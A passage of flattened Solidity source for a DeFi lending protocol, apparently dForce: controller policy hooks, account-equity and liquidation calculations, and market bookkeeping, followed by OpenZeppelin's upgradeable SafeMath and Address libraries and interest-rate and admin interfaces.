_iTokens.length(); for (uint256 i = 0; i < _len; i++) { address _iToken = _iTokens.at(i); _setiTokenPausedInternal(_iToken, _paused); } _setTransferPausedInternal(_paused); _setSeizePausedInternal(_paused); } /** * @notice Sets Reward Distributor * @dev Admin function to set reward distributor * @param _newRewardDistributor new reward distributor */ function _setRewardDistributor(address _newRewardDistributor) external override onlyOwner { address _oldRewardDistributor = rewardDistributor; require( _newRewardDistributor != address(0) && _newRewardDistributor != _oldRewardDistributor, "Reward Distributor address invalid" ); rewardDistributor = _newRewardDistributor; emit NewRewardDistributor(_oldRewardDistributor, _newRewardDistributor); } /*********************************/ /******** Poclicy Hooks **********/ /*********************************/ /** * @notice Hook function before iToken `mint()` * Checks if the account should be allowed to mint the given iToken * Will `revert()` if any check fails * @param _iToken The iToken to check the mint against * @param _minter The account which would get the minted tokens * @param _mintAmount The amount of underlying being minted to iToken */ function beforeMint( address _iToken, address _minter, uint256 _mintAmount ) external override { _checkiTokenListed(_iToken); Market storage _market = markets[_iToken]; require(!_market.mintPaused, "Token mint has been paused"); // Check the iToken's supply capacity, -1 means no limit uint256 _totalSupplyUnderlying = IERC20Upgradeable(_iToken).totalSupply().rmul( IiToken(_iToken).exchangeRateStored() ); require( _totalSupplyUnderlying.add(_mintAmount) <= _market.supplyCapacity, "Token supply capacity reached" ); // Update the Reward Distribution Supply state and distribute reward to suppplier IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, false ); IRewardDistributor(rewardDistributor).updateReward( _iToken, _minter, false ); } /** * @notice Hook function after iToken `mint()` * Will `revert()` if any operation fails * @param _iToken The iToken being minted * @param _minter The account which would get the minted tokens * @param _mintAmount The amount of underlying being minted to iToken * @param _mintedAmount The amount of iToken being minted */ function afterMint( address _iToken, address _minter, uint256 _mintAmount, uint256 _mintedAmount ) external override { _iToken; _minter; _mintAmount; _mintedAmount; } /** * @notice Hook function before iToken `redeem()` * Checks if the account should be allowed to redeem the given iToken * Will `revert()` if any check fails * @param _iToken The iToken to check the redeem against * @param _redeemer The account which would redeem iToken * @param _redeemAmount The amount of iToken to redeem */ function beforeRedeem( address _iToken, address _redeemer, uint256 _redeemAmount ) external override { // _redeemAllowed below will check whether _iToken is listed require(!markets[_iToken].redeemPaused, "Token redeem has been paused"); _redeemAllowed(_iToken, _redeemer, _redeemAmount); // Update the Reward Distribution Supply state and distribute reward to suppplier IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, false ); IRewardDistributor(rewardDistributor).updateReward( _iToken, _redeemer, false ); } /** * @notice Hook function after iToken `redeem()` * Will `revert()` if any operation fails * @param _iToken The iToken being redeemed * @param _redeemer The account which redeemed iToken * @param _redeemAmount The amount of iToken being redeemed * @param _redeemedUnderlying The amount of underlying being redeemed */ function afterRedeem( address _iToken, address _redeemer, uint256 _redeemAmount, uint256 _redeemedUnderlying ) external override { _iToken; _redeemer; _redeemAmount; _redeemedUnderlying; } /** * @notice Hook function before iToken `borrow()` * Checks if the account should be allowed to borrow the given iToken * Will `revert()` if any check fails * @param _iToken The iToken to check the borrow against * @param _borrower The account which would borrow iToken * @param _borrowAmount The amount of underlying to borrow */ function beforeBorrow( address _iToken, address _borrower, uint256 _borrowAmount ) external override { _checkiTokenListed(_iToken); Market storage _market = markets[_iToken]; require(!_market.borrowPaused, "Token borrow has been paused"); if (!hasBorrowed(_borrower, _iToken)) { // Unlike collaterals, borrowed asset can only be added by iToken, // rather than enabled by user directly. require(msg.sender == _iToken, "sender must be iToken"); // Have checked _iToken is listed, just add it _addToBorrowed(_borrower, _iToken); } // Check borrower's equity (, uint256 _shortfall, , ) = calcAccountEquityWithEffect(_borrower, _iToken, 0, _borrowAmount); require(_shortfall == 0, "Account has some shortfall"); // Check the iToken's borrow capacity, -1 means no limit uint256 _totalBorrows = IiToken(_iToken).totalBorrows(); require( _totalBorrows.add(_borrowAmount) <= _market.borrowCapacity, "Token borrow capacity reached" ); // Update the Reward Distribution Borrow state and distribute reward to borrower IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, true ); IRewardDistributor(rewardDistributor).updateReward( _iToken, _borrower, true ); } /** * @notice Hook function after iToken `borrow()` * Will `revert()` if any operation fails * @param _iToken The iToken being borrewd * @param _borrower The account which borrowed iToken * @param _borrowedAmount The amount of underlying being borrowed */ function afterBorrow( address _iToken, address _borrower, uint256 _borrowedAmount ) external override { _iToken; _borrower; _borrowedAmount; } /** * @notice Hook function before iToken `repayBorrow()` * Checks if the account should be allowed to repay the given iToken * for the borrower. Will `revert()` if any check fails * @param _iToken The iToken to verify the repay against * @param _payer The account which would repay iToken * @param _borrower The account which has borrowed * @param _repayAmount The amount of underlying to repay */ function beforeRepayBorrow( address _iToken, address _payer, address _borrower, uint256 _repayAmount ) external override { _checkiTokenListed(_iToken); // Update the Reward Distribution Borrow state and distribute reward to borrower IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, true ); IRewardDistributor(rewardDistributor).updateReward( _iToken, _borrower, true ); _payer; _repayAmount; } /** * @notice Hook function after iToken `repayBorrow()` * Will `revert()` if any operation fails * @param _iToken The iToken being repaid * @param _payer The account which would repay * @param _borrower The account which has borrowed * @param _repayAmount The amount of underlying being repaied */ function afterRepayBorrow( address _iToken, address _payer, address _borrower, uint256 _repayAmount ) external override { _checkiTokenListed(_iToken); // Remove _iToken from borrowed list if new borrow balance is 0 if (IiToken(_iToken).borrowBalanceStored(_borrower) == 0) { // Only allow called by iToken as we are going to remove this token from borrower's borrowed list require(msg.sender == _iToken, "sender must be iToken"); // Have checked _iToken is listed, just remove it _removeFromBorrowed(_borrower, _iToken); } _payer; _repayAmount; } /** * @notice Hook function before iToken `liquidateBorrow()` * Checks if the account should be allowed to liquidate the given iToken * for the borrower. Will `revert()` if any check fails * @param _iTokenBorrowed The iToken was borrowed * @param _iTokenCollateral The collateral iToken to be liqudate with * @param _liquidator The account which would repay the borrowed iToken * @param _borrower The account which has borrowed * @param _repayAmount The amount of underlying to repay */ function beforeLiquidateBorrow( address _iTokenBorrowed, address _iTokenCollateral, address _liquidator, address _borrower, uint256 _repayAmount ) external override { // Tokens must have been listed require( iTokens.contains(_iTokenBorrowed) && iTokens.contains(_iTokenCollateral), "Tokens have not been listed" ); (, uint256 _shortfall, , ) = calcAccountEquity(_borrower); require(_shortfall > 0, "Account does not have shortfall"); // Only allowed to repay the borrow balance's close factor uint256 _borrowBalance = IiToken(_iTokenBorrowed).borrowBalanceStored(_borrower); uint256 _maxRepay = _borrowBalance.rmul(closeFactorMantissa); require(_repayAmount <= _maxRepay, "Repay exceeds max repay allowed"); _liquidator; } /** * @notice Hook function after iToken `liquidateBorrow()` * Will `revert()` if any operation fails * @param _iTokenBorrowed The iToken was borrowed * @param _iTokenCollateral The collateral iToken to be seized * @param _liquidator The account which would repay and seize * @param _borrower The account which has borrowed * @param _repaidAmount The amount of underlying being repaied * @param _seizedAmount The amount of collateral being seized */ function afterLiquidateBorrow( address _iTokenBorrowed, address _iTokenCollateral, address _liquidator, address _borrower, uint256 _repaidAmount, uint256 _seizedAmount ) external override { _iTokenBorrowed; _iTokenCollateral; _liquidator; _borrower; _repaidAmount; _seizedAmount; // Unlike repayBorrow, liquidateBorrow does not allow to repay all borrow balance // No need to check whether should remove from borrowed asset list } /** * @notice Hook function before iToken `seize()` * Checks if the liquidator should be allowed to seize the collateral iToken * Will `revert()` if any check fails * @param _iTokenCollateral The collateral iToken to be seize * @param _iTokenBorrowed The iToken was borrowed * @param _liquidator The account which has repaid the borrowed iToken * @param _borrower The account which has borrowed * @param _seizeAmount The amount of collateral iToken to seize */ function beforeSeize( address _iTokenCollateral, address _iTokenBorrowed, address _liquidator, address _borrower, uint256 _seizeAmount ) external override { require(!seizePaused, "Seize has been paused"); // Markets must have been listed require( iTokens.contains(_iTokenBorrowed) && iTokens.contains(_iTokenCollateral), "Tokens have not been listed" ); // Sanity Check the controllers require( IiToken(_iTokenBorrowed).controller() == IiToken(_iTokenCollateral).controller(), "Controller mismatch between Borrowed and Collateral" ); // Update the Reward Distribution Supply state on collateral IRewardDistributor(rewardDistributor).updateDistributionState( _iTokenCollateral, false ); // Update reward of liquidator and borrower on collateral IRewardDistributor(rewardDistributor).updateReward( _iTokenCollateral, _liquidator, false ); IRewardDistributor(rewardDistributor).updateReward( _iTokenCollateral, _borrower, false ); _seizeAmount; } /** * @notice Hook function after iToken `seize()` * Will `revert()` if any operation fails * @param _iTokenCollateral The collateral iToken to be seized * @param _iTokenBorrowed The iToken was borrowed * @param _liquidator The account which has repaid and seized * @param _borrower The account which has borrowed * @param _seizedAmount The amount of collateral being seized */ function afterSeize( address _iTokenCollateral, address _iTokenBorrowed, address _liquidator, address _borrower, uint256 _seizedAmount ) external override { _iTokenBorrowed; _iTokenCollateral; _liquidator; _borrower; _seizedAmount; } /** * @notice Hook function before iToken `transfer()` * Checks if the transfer should be allowed * Will `revert()` if any check fails * @param _iToken The iToken to be transfered * @param _from The account to be transfered from * @param _to The account to be transfered to * @param _amount The amount to be transfered */ function beforeTransfer( address _iToken, address _from, address _to, uint256 _amount ) external override { // _redeemAllowed below will check whether _iToken is listed require(!transferPaused, "Transfer has been paused"); // Check account equity with this amount to decide whether the transfer is allowed _redeemAllowed(_iToken, _from, _amount); // Update the Reward Distribution supply state IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, false ); // Update reward of from and to IRewardDistributor(rewardDistributor).updateReward( _iToken, _from, false ); IRewardDistributor(rewardDistributor).updateReward(_iToken, _to, false); } /** * @notice Hook function after iToken `transfer()` * Will `revert()` if any operation fails * @param _iToken The iToken was transfered * @param _from The account was transfer from * @param _to The account was transfer to * @param _amount The amount was transfered */ function afterTransfer( address _iToken, address _from, address _to, uint256 _amount ) external override { _iToken; _from; _to; _amount; } /** * @notice Hook function before iToken `flashloan()` * Checks if the flashloan should be allowed * Will `revert()` if any check fails * @param _iToken The iToken to be flashloaned * @param _to The account flashloaned transfer to * @param _amount The amount to be flashloaned */ function beforeFlashloan( address _iToken, address _to, uint256 _amount ) external override { // Flashloan share the same pause state with borrow require(!markets[_iToken].borrowPaused, "Token borrow has been paused"); _checkiTokenListed(_iToken); _to; _amount; // Update the Reward Distribution Borrow state IRewardDistributor(rewardDistributor).updateDistributionState( _iToken, true ); } /** * @notice Hook function after iToken `flashloan()` * Will `revert()` if any operation fails * @param _iToken The iToken was flashloaned * @param _to The account flashloan transfer to * @param _amount The amount was flashloaned */ function afterFlashloan( address _iToken, address _to, uint256 _amount ) external override { _iToken; _to; _amount; } /*********************************/ /***** Internal Functions *******/ /*********************************/ function _redeemAllowed( address _iToken, address _redeemer, uint256 _amount ) private view { _checkiTokenListed(_iToken); // No need to check liquidity if _redeemer has not used _iToken as collateral if (!accountsData[_redeemer].collaterals.contains(_iToken)) { return; } (, uint256 _shortfall, , ) = calcAccountEquityWithEffect(_redeemer, _iToken, _amount, 0); require(_shortfall == 0, "Account has some shortfall"); } /** * @dev Check if _iToken is listed */ function _checkiTokenListed(address _iToken) private view { require(iTokens.contains(_iToken), "Token has not been listed"); } /*********************************/ /** Account equity calculation ***/ /*********************************/ /** * @notice Calculates current account equity * @param _account The account to query equity of * @return account equity, shortfall, collateral value, borrowed value. */ function calcAccountEquity(address _account) public view override returns ( uint256, uint256, uint256, uint256 ) { return calcAccountEquityWithEffect(_account, address(0), 0, 0); } /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `iTokenBalance` is the number of iTokens the account owns in the collateral, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountEquityLocalVars { uint256 sumCollateral; uint256 sumBorrowed; uint256 iTokenBalance; uint256 borrowBalance; uint256 exchangeRateMantissa; uint256 underlyingPrice; uint256 collateralValue; uint256 borrowValue; } /** * @notice Calculates current account equity plus some token and amount to effect * @param _account The account to query equity of * @param _tokenToEffect The token address to add some additional redeeem/borrow * @param _redeemAmount The additional amount to redeem * @param _borrowAmount The additional amount to borrow * @return account euqity, shortfall, collateral value, borrowed value plus the effect. */ function calcAccountEquityWithEffect( address _account, address _tokenToEffect, uint256 _redeemAmount, uint256 _borrowAmount ) internal view virtual returns ( uint256, uint256, uint256, uint256 ) { AccountEquityLocalVars memory _local; AccountData storage _accountData = accountsData[_account]; // Calculate value of all collaterals // collateralValuePerToken = underlyingPrice * exchangeRate * collateralFactor // collateralValue = balance * collateralValuePerToken // sumCollateral += collateralValue uint256 _len = _accountData.collaterals.length(); for (uint256 i = 0; i < _len; i++) { IiToken _token = IiToken(_accountData.collaterals.at(i)); _local.iTokenBalance = IERC20Upgradeable(address(_token)).balanceOf( _account ); _local.exchangeRateMantissa = _token.exchangeRateStored(); if (_tokenToEffect == address(_token) && _redeemAmount > 0) { _local.iTokenBalance = _local.iTokenBalance.sub(_redeemAmount); } _local.underlyingPrice = IPriceOracle(priceOracle) .getUnderlyingPrice(address(_token)); require( _local.underlyingPrice != 0, "Invalid price to calculate account equity" ); _local.collateralValue = _local .iTokenBalance .mul(_local.underlyingPrice) .rmul(_local.exchangeRateMantissa) .rmul(markets[address(_token)].collateralFactorMantissa); _local.sumCollateral = _local.sumCollateral.add( _local.collateralValue ); } // Calculate all borrowed value // borrowValue = underlyingPrice * underlyingBorrowed / borrowFactor // sumBorrowed += borrowValue _len = _accountData.borrowed.length(); for (uint256 i = 0; i < _len; i++) { IiToken _token = IiToken(_accountData.borrowed.at(i)); _local.borrowBalance = _token.borrowBalanceStored(_account); if (_tokenToEffect == address(_token) && _borrowAmount > 0) { _local.borrowBalance = _local.borrowBalance.add(_borrowAmount); } _local.underlyingPrice = IPriceOracle(priceOracle) .getUnderlyingPrice(address(_token)); require( _local.underlyingPrice != 0, "Invalid price to calculate account equity" ); // borrowFactorMantissa can not be set to 0 _local.borrowValue = _local .borrowBalance .mul(_local.underlyingPrice) .rdiv(markets[address(_token)].borrowFactorMantissa); _local.sumBorrowed = _local.sumBorrowed.add(_local.borrowValue); } // Should never underflow return _local.sumCollateral > _local.sumBorrowed ? ( _local.sumCollateral - _local.sumBorrowed, uint256(0), _local.sumCollateral, _local.sumBorrowed ) : ( uint256(0), _local.sumBorrowed - _local.sumCollateral, _local.sumCollateral, _local.sumBorrowed ); } /** * @notice Calculate amount of collateral iToken to seize after repaying an underlying amount * @dev Used in liquidation * @param _iTokenBorrowed The iToken was borrowed * @param _iTokenCollateral The collateral iToken to be seized * @param _actualRepayAmount The amount of underlying token liquidator has repaied * @return _seizedTokenCollateral amount of iTokenCollateral tokens to be seized */ function liquidateCalculateSeizeTokens( address _iTokenBorrowed, address _iTokenCollateral, uint256 _actualRepayAmount ) external view virtual override returns (uint256 _seizedTokenCollateral) { /* Read oracle prices for borrowed and collateral assets */ uint256 _priceBorrowed = IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenBorrowed); uint256 _priceCollateral = IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenCollateral); require( _priceBorrowed != 0 && _priceCollateral != 0, "Borrowed or Collateral asset price is invalid" ); uint256 _valueRepayPlusIncentive = _actualRepayAmount.mul(_priceBorrowed).rmul( liquidationIncentiveMantissa ); // Use stored value here as it is view function uint256 _exchangeRateMantissa = IiToken(_iTokenCollateral).exchangeRateStored(); // seizedTokenCollateral = valueRepayPlusIncentive / valuePerTokenCollateral // valuePerTokenCollateral = exchangeRateMantissa * priceCollateral _seizedTokenCollateral = _valueRepayPlusIncentive .rdiv(_exchangeRateMantissa) .div(_priceCollateral); } /*********************************/ /*** Account Markets Operation ***/ /*********************************/ /** * @notice Returns the markets list the account has entered * @param _account The address of the account to query * @return _accountCollaterals The markets list the account has entered */ function getEnteredMarkets(address _account) external view override returns (address[] memory _accountCollaterals) { AccountData storage _accountData = accountsData[_account]; uint256 _len = _accountData.collaterals.length(); _accountCollaterals = new address[](_len); for (uint256 i = 0; i < _len; i++) { _accountCollaterals[i] = _accountData.collaterals.at(i); } } /** * @notice Add markets to `msg.sender`'s markets list for liquidity calculations * @param _iTokens The list of addresses of the iToken markets to be entered * @return _results Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] calldata _iTokens) external override returns (bool[] memory _results) { uint256 _len = _iTokens.length; _results = new bool[](_len); for (uint256 i = 0; i < _len; i++) { _results[i] = _enterMarket(_iTokens[i], msg.sender); } } /** * @notice Only expect to be called by iToken contract. * @dev Add the market to the account's markets list for liquidity calculations * @param _account The address of the account to modify */ function enterMarketFromiToken(address _account) external override { require( _enterMarket(msg.sender, _account), "enterMarketFromiToken: Only can be called by a supported iToken!" ); } /** * @notice Add the market to the account's markets list for liquidity calculations * @param _iToken The market to enter * @param _account The address of the account to modify * @return True if entered successfully, false for non-listed market or other errors */ function _enterMarket(address _iToken, address _account) internal returns (bool) { // Market not listed, skip it if (!iTokens.contains(_iToken)) { return false; } // add() will return false if iToken is in account's market list if (accountsData[_account].collaterals.add(_iToken)) { emit MarketEntered(_iToken, _account); } return true; } /** * @notice Returns whether the given account has entered the market * @param _account The address of the account to check * @param _iToken The iToken to check against * @return True if the account has entered the market, otherwise false. */ function hasEnteredMarket(address _account, address _iToken) external view override returns (bool) { return accountsData[_account].collaterals.contains(_iToken); } /** * @notice Remove markets from `msg.sender`'s collaterals for liquidity calculations * @param _iTokens The list of addresses of the iToken to exit * @return _results Success indicators for whether each corresponding market was exited */ function exitMarkets(address[] calldata _iTokens) external override returns (bool[] memory _results) { uint256 _len = _iTokens.length; _results = new bool[](_len); for (uint256 i = 0; i < _len; i++) { _results[i] = _exitMarket(_iTokens[i], msg.sender); } } /** * @notice Remove the market to the account's markets list for liquidity calculations * @param _iToken The market to exit * @param _account The address of the account to modify * @return True if exit successfully, false for non-listed market or other errors */ function _exitMarket(address _iToken, address _account) internal returns (bool) { // Market not listed, skip it if (!iTokens.contains(_iToken)) { return true; } // Account has not entered this market, skip it if (!accountsData[_account].collaterals.contains(_iToken)) { return true; } // Get the iToken balance uint256 _balance = IERC20Upgradeable(_iToken).balanceOf(_account); // Check account's equity if all balance are redeemed // which means iToken can be removed from collaterals _redeemAllowed(_iToken, _account, _balance); // Have checked account has entered market before accountsData[_account].collaterals.remove(_iToken); emit MarketExited(_iToken, _account); return true; } /** * @notice Returns the asset list the account has borrowed * @param _account The address of the account to query * @return _borrowedAssets The asset list the account has borrowed */ function getBorrowedAssets(address _account) external view override returns (address[] memory _borrowedAssets) { AccountData storage _accountData = accountsData[_account]; uint256 _len = _accountData.borrowed.length(); _borrowedAssets = new address[](_len); for (uint256 i = 0; i < _len; i++) { _borrowedAssets[i] = _accountData.borrowed.at(i); } } /** * @notice Add the market to the account's borrowed list for equity calculations * @param _iToken The iToken of underlying to borrow * @param _account The address of the account to modify */ function _addToBorrowed(address _account, address _iToken) internal { // add() will return false if iToken is in account's market list if (accountsData[_account].borrowed.add(_iToken)) { emit BorrowedAdded(_iToken, _account); } } /** * @notice Returns whether the given account has borrowed the given iToken * @param _account The address of the account to check * @param _iToken The iToken to check against * @return True if the account has borrowed the iToken, otherwise false. */ function hasBorrowed(address _account, address _iToken) public view override returns (bool) { return accountsData[_account].borrowed.contains(_iToken); } /** * @notice Remove the iToken from the account's borrowed list * @param _iToken The iToken to remove * @param _account The address of the account to modify */ function _removeFromBorrowed(address _account, address _iToken) internal { // remove() will return false if iToken does not exist in account's borrowed list if (accountsData[_account].borrowed.remove(_iToken)) { emit BorrowedRemoved(_iToken, _account); } } /*********************************/ /****** General Information ******/ /*********************************/ /** * @notice Return all of the iTokens * @return _alliTokens The list of iToken addresses */ function getAlliTokens() public view override returns (address[] memory _alliTokens) { EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens; uint256 _len = _iTokens.length(); _alliTokens = new address[](_len); for (uint256 i = 0; i < _len; i++) { _alliTokens[i] = _iTokens.at(i); } } /** * @notice Check whether a iToken is listed in controller * @param _iToken The iToken to check for * @return true if the iToken is listed otherwise false */ function hasiToken(address _iToken) public view override returns (bool) { return iTokens.contains(_iToken); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title dForce Lending Protocol's InterestRateModel Interface. * @author dForce Team. */ interface IInterestRateModelInterface { function isInterestRateModel() external view returns (bool); /** * @dev Calculates the current borrow interest rate per block. * @param cash The total amount of cash the market has. * @param borrows The total amount of borrows the market has. * @param reserves The total amnount of reserves the market has. * @return The borrow rate per block (as a percentage, and scaled by 1e18). */ function getBorrowRate( uint256 cash, uint256 borrows, uint256 reserves ) external view returns (uint256); /** * @dev Calculates the current supply interest rate per block. * @param cash The total amount of cash the market has. * @param borrows The total amount of borrows the market has. * @param reserves The total amnount of reserves the market has. * @param reserveRatio The current reserve factor the market has. * @return The supply rate per block (as a percentage, and scaled by 1e18). */ function getSupplyRate( uint256 cash, uint256 borrows, uint256 reserves, uint256 reserveRatio ) external view returns (uint256); } //SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IControllerAdminInterface { /// @notice Emitted when an admin supports a market event MarketAdded( address iToken, uint256 collateralFactor, uint256 borrowFactor, uint256 supplyCapacity, uint256 borrowCapacity, uint256 distributionFactor ); function _addMarket( address _iToken, uint256 _collateralFactor, uint256 _borrowFactor, uint256 _supplyCapacity, uint256 _borrowCapacity, uint256 _distributionFactor ) external; /// @notice Emitted when new price oracle is set event NewPriceOracle(address oldPriceOracle, address newPriceOracle); function _setPriceOracle(address newOracle) external; /// @notice Emitted when close factor is changed by admin event NewCloseFactor( uint256 oldCloseFactorMantissa, uint256 newCloseFactorMantissa ); function _setCloseFactor(uint256 newCloseFactorMantissa) external; /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive( uint256 oldLiquidationIncentiveMantissa, uint256 newLiquidationIncentiveMantissa ); function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external; /// @notice Emitted when iToken's collateral factor is changed by admin event NewCollateralFactor( address iToken, uint256 oldCollateralFactorMantissa, uint256 newCollateralFactorMantissa ); function _setCollateralFactor( address iToken, uint256 newCollateralFactorMantissa ) external; /// @notice Emitted when iToken's borrow factor is changed by admin event NewBorrowFactor( address iToken, uint256 oldBorrowFactorMantissa, uint256 newBorrowFactorMantissa ); function _setBorrowFactor(address iToken, uint256 